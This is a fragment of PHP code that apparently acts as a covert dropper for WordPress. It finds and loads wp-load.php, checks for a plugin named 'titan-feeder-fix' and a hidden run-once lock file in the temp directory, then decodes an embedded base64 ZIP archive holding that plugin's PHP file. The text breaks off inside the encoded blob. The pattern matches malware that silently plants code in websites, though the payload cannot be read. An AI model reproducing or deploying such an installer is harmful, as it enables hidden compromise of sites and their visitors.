$slug = 'titan-feeder-fix'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { die( 'ERR_WP' ); } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( is_dir( $plugins_dir . '/' . $slug ) || file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $tmp = tempnam( sys_get_temp_dir(), 'sc_' ); file_put_contents( $tmp, base64_decode( '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